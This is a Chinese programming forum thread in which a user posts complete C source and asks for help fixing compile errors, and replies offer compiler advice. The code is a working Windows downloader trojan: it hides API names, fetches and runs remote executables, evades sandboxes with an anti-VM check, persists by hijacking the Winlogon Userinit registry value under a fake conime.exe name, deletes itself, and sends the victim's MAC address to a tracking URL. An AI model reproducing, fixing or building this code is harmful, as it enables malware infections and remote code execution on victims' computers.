C语言的大牛进来下。小弟实在看不懂了
本帖最后由 麒麟, 于 2016-8-4 11:24 编辑#include <stdio.h>
#include <shlwapi.h>
#include<wininet.h>
#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"MSVCRT.lib")
#pragma comment (lib,"Urlmon.lib")
#pragma comment(linker, "/OPT:NOWIN98") //è¡ÏûÕa¼¸DDμÄ×¢êí£¬±àòë3öμÄÎļtÖ»óD2K′óD¡
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker,"/ENTRY:ProcEntry /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")
#include <time.h>
#include <winsock.h>
#include <stdlib.h>
#include <Wininet.h>
#include<Aclapi.h>
#include <io.h>
#pragma comment(lib,"Wininet.lib")
#pragma comment(lib,"ws2_32")
DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//¶ˉ쬼óÔØUrlmon.dllÖDμÄUrlDownloadToFileAoˉêy
HINSTANCE hurlmon;
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem != str) break;
if (j == da) return i;
}
return -1;
}
#define MAX_CONFIG_LEN 500
LPCTSTR FindConfigString( LPCTSTR lpString)//2éÕòÎļtÄ©Î2μÄÅäÖÃDÅÏ¢
{
char strFileName;
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
GetModuleFileName(0, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char;
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
else
{
return lpConfigString + offset;
}
}
int DownExe()
{
charstrDown;
strDown= 'U';
strDown= 'R';
strDown= 'L';
strDown= 'D';
strDown= 'o';
strDown= 'w';
strDown= 'n';
strDown= 'l';
strDown= 'o';
strDown= 'a';
strDown = 'd';
strDown = 'T';
strDown = 'o';
strDown = 'F';
strDown = 'i';
strDown = 'l';
strDown = 'e';
strDown = 'A';
strDown = '\0';
//MessageBox(0,strDown,"ok", 0);
charurlmon;
urlmon= 'u';
urlmon= 'r';
urlmon= 'l';
urlmon= 'm';
urlmon= 'o';
urlmon= 'n';
urlmon= '.';
urlmon= 'd';
urlmon= 'l';
urlmon= 'l';
urlmon= '\0';
//MessageBox(0,urlmon,"ok", 0);
charFindStr;
FindStr= 'O';
FindStr= 'O';
FindStr= 'O';
FindStr= 'O';
FindStr= 'O';
FindStr= 'O';
FindStr= '\0';
char *url = NULL;
char *DownUrl = NULL;
char *SavePath = NULL;
url = (char *)FindConfigString(FindStr);
char *pos = strchr(url, '|'); //Õa¸öoí¸Õ2ÅμÄÖ»óDò»μã2»í¬£¬¾íêÇÄü¶à¶áè¡ò»¸öêy¾Y£¬Õaὸöêy¾YÖ®¼äóá°|¡±¸ô¿a
if (pos == NULL)
return -1;
*pos = '\0';
DownUrl = url + 6;
SavePath = pos + 1;
if (DownUrl == NULL || SavePath == NULL)
return -1;
//MessageBox(0,DownUrl,"ok",0);//°Ñ·Öàë3öà′μÄὸö×Ö·û′®ÏÔê¾3öà′
//MessageBox(0,SavePath,"ok",0);
hurlmon=LoadLibrary(urlmon);
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,strDown);
HRESULT hr = DOWNFILE(NULL, DownUrl, SavePath, 0, NULL);
char strTmpPath;
char strRunPath;
GetTempPath(sizeof(strTmpPath), strTmpPath);
FILE *stream;
char buffer;
stream= fopen(SavePath,"r");
if (hr== S_OK)
{
while(fscanf(stream,"%s\n",buffer)==1)
{
wsprintf(strRunPath,"%s\\%d.exe",strTmpPath,GetTickCount());
DOWNFILE(0, buffer, strRunPath, 0, 0);
//MessageBox(NULL,buffer,"ìáê¾",MB_ICONINFORMATION);
WinExec(strRunPath, SW_SHOW);
}
fclose(stream);
}
DeleteFile(SavePath);
return 0;
}
bool IsVirtualPC()//·′nod322éé±
{
__try
{
__asm
{
mov eax, 1
_emit 0x0F
_emit 0x3F
_emit 0x07
_emit 0x0B
_emit 0xC7
_emit 0x45
_emit 0xFC
_emit 0xFF
_emit 0xFF
_emit 0xFF
_emit 0xFF
}
}
__except(1)
{
return FALSE;
}
return TRUE;
}
void WriteReg()//D′×¢2á±írun
{
char WinPath;
char OldPath;
char MyPath;
char RegStr;
GetWindowsDirectory(WinPath,sizeof(WinPath));//μÃμ½windowsĿ¼
wsprintf(OldPath,"%s%s",WinPath,"\\system32\\userinit.exe");
wsprintf(MyPath,"%s%s",WinPath,"\\Tasks\\conime.exe");
wsprintf(RegStr,"%s%s%s",OldPath,",",MyPath);
char regname[]="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); //′ò¿a1ؼü×Ö
ret=RegSetValueEx(hkResult,"Userinit",0,REG_SZ,(unsigned char *)RegStr,100); /*éèÖüüÖμ*/
RegCloseKey(hkResult);
}
//×Ôé¾3y
void uninstall(void)
{
int i;
HANDLE hFile;
DWORD dwWritten;
char selfpathaaa={0};
char command={0};
char name[]="afc9fe2f418b00a0.bat";
GetModuleFileName(NULL,selfpathaaa,MAX_PATH);
lstrcpy(command,"@echo off\n\r");
for (i=0;i<10;i++)
lstrcat(command,"@echo asdfhdsafjkahlsdjfhlk>>3596799a1543bc9f.aqq\n\r");
lstrcat(command,"@del 3596799a1543bc9f.aqq\n\r");
lstrcat(command,"@del \"");
lstrcat(command,selfpathaaa);
lstrcat(command,"\"\n\r");
lstrcat(command,"@del ");
lstrcat(command,name);
lstrcat(command,"\n\r@exit");
hFile=CreateFile(name,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
WriteFile(hFile,(LPCVOID)command,sizeof(command),&dwWritten,NULL);
CloseHandle(hFile);
WinExec(name,SW_HIDE);
ExitProcess(NULL);
}
char *ltrim_VVVVVV(char *pstr)
{
while(*pstr++=='V');
return --pstr;
}
char *ltrim_CCCCCC(char *pstr)
{
while(*pstr++=='C');
return --pstr;
}
#include "Rpcdce.h"
#pragma comment(lib,"Rpcrt4.lib")
void MyCount()
{
char szURL;
char *MyUrl = NULL;
char *CountUrl = NULL;
MyUrl = (char *)FindConfigString("CCCCCC");
CountUrl = ltrim_CCCCCC(MyUrl);
char *pVersionStr = NULL;
char *pVersion = NULL;
pVersionStr = (char *)FindConfigString("VVVVVV");
pVersion = ltrim_VVVVVV(pVersionStr);
long rt;
UUID ui;
char mac={0};
char temp;
char Mac;
rt = UuidCreateSequential(&ui);
if (rt == RPC_S_OK)
{
_itoa(ui.Data4,mac,16);
_itoa(ui.Data4,mac,16);
_itoa(ui.Data4,mac,16);
_itoa(ui.Data4,mac,16);
_itoa(ui.Data4,mac,16);
_itoa(ui.Data4,mac,16);
}
for(int n=0;n<6;n++)
{
if (strlen(mac) == 1)
{
wsprintf(temp, "0%s", mac);
strcpy(mac,temp);
}
}
wsprintf(Mac, "%s-%s-%s-%s-%s-%s",mac,mac,mac,mac,mac,mac);
sprintf(szURL,"%s?mac=%s&ver=%s",CountUrl,Mac,pVersion); //óÃ諾ÖËæ»ú′®×öΨò»±ê¼Ç
//MessageBox(NULL,szURL,"ìáê¾",MB_ICONINFORMATION);
HINTERNET hNet = ::InternetOpen("Google page", //μ±HTTPD-òéê1óÃê±£¬Õa¸ö2ÎêyËæòa¸3Öμ
PRE_CONFIG_INTERNET_ACCESS, //·ÃÎêààDíÖ¸ê¾Win32íøÂçoˉêyê1óÃμǼÇDÅϢ襷¢ÏÖò»¸ö·tÎñÆ÷¡£
NULL,
INTERNET_INVALID_PORT_NUMBER, //ê1óÃINTERNET_INVALID_PORT_NUMBERÏàμ±óúìá1©è′ê¡μĶ˿úêy¡£
0 //±êÖ¾è¥Ö¸ê¾ê1óÃ·μ»Ø¾ä¾ä±úμĽ«à′μÄInternetoˉêy½«"2»"Îa»Øμ÷oˉêy·¢Ëí×′ì¬DÅÏ¢
) ;
HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //′óInternetOpen·μ»Øμľä±ú
szURL, //Dèòa′ò¿aμÄURL
NULL, //óÃà′Ïò·tÎñÆ÷′«Ëí¶îíaμÄDÅÏ¢,ò»°ãÎaNULL
0, //óÃà′Ïò·tÎñÆ÷′«Ëí¶îíaμÄDÅÏ¢,ò»°ãÎa 0
INTERNET_FLAG_RELOAD, //InternetOpenUrlDDÎaμıêÖ¾
0) ; //DÅÏ¢½«2»»á±»Ëíμ½×′쬻Øμ÷oˉêy
char buffer ;
DWORD dwBytesRead = 0;
BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl·μ»Øμľä±ú
buffer, //±£áôêy¾YμÄ»o3åÇø
sizeof(buffer),
&dwBytesRead); //Ö¸Ïò°üo¬¶áèë»o3åÇø×Ö½úêyμıäá¿μÄÖ¸Õë;
//èç1û·μ»ØÖμêÇTRUE£¬¶øÇòÕaàïÖ¸Ïò0£¬ÔòÎļtòѾ-¶áμ½áËÎļtμÄÄ©Î2¡£
::InternetCloseHandle(hUrlFile) ;
::InternetCloseHandle(hNet) ;
}
int ProcEntry()
{
if(IsVirtualPC())
{
return 0;
}
char Mulu;
char WinPath;
char MyPath;
GetModuleFileName(0,Mulu,sizeof(Mulu));
PathRemoveFileSpec(Mulu);
GetWindowsDirectory(WinPath,sizeof(WinPath));//μÃμ½windowsĿ¼
strcat(WinPath,"\\Tasks");
GetModuleFileName(0,MyPath,sizeof(MyPath));
//MessageBox(NULL,Mulu,"ìáê¾",MB_ICONINFORMATION);
//MessageBox(NULL,WinPath,"ìáê¾",MB_ICONINFORMATION);
if (stricmp(Mulu,WinPath) != 0) //èç1û×Ô¼o2»ÔúwindowsĿ¼¾í¸′ÖÆμ½ÄÇàïè¥
{
strcat(WinPath,"\\conime.exe");
DeleteFile(WinPath);
WriteReg();//D′×¢2á±íòÔ′ïμ½×ÔÆô¶ˉμÄÄ¿μÄ
CopyFile(MyPath,WinPath,false);
Sleep(500);
WinExec(WinPath,SW_HIDE);
Sleep(1000);
uninstall();
ExitProcess(0);
}
int i = 0;
while(i < 6) //¼ä¸ô20·ÖÖóÏÂÔØ
{
DownExe();
MyCount(); //í3¼Æ
Sleep(20 * 60 * 1000);
i++;
}
ExitProcess(0);
return 0;
}
在代码最前面
#define EXTERN_C extern "C"
该怎么修改麻烦大牛说下 把你的那个CPP文件发出来,问题在那,而不是shlwapi.h,VC++6.0比较笨 我不是大牛。我也进来看看 {:6_211:} 你把系统头文件发出来有何用 LYQingYe 发表于 2016-8-4 08:30
你把系统头文件发出来有何用
发出来了 麻烦看下 几何 发表于 2016-8-4 07:25
把你的那个CPP文件发出来,问题在那,而不是shlwapi.h,VC++6.0比较笨
发出来了麻烦看下
fresharplite 发表于 2016-8-4 06:15
在代码最前面
#define EXTERN_C extern "C"
{:5_191:}表示没搞懂 发代码来我帮你编译算了
页:
[1]
2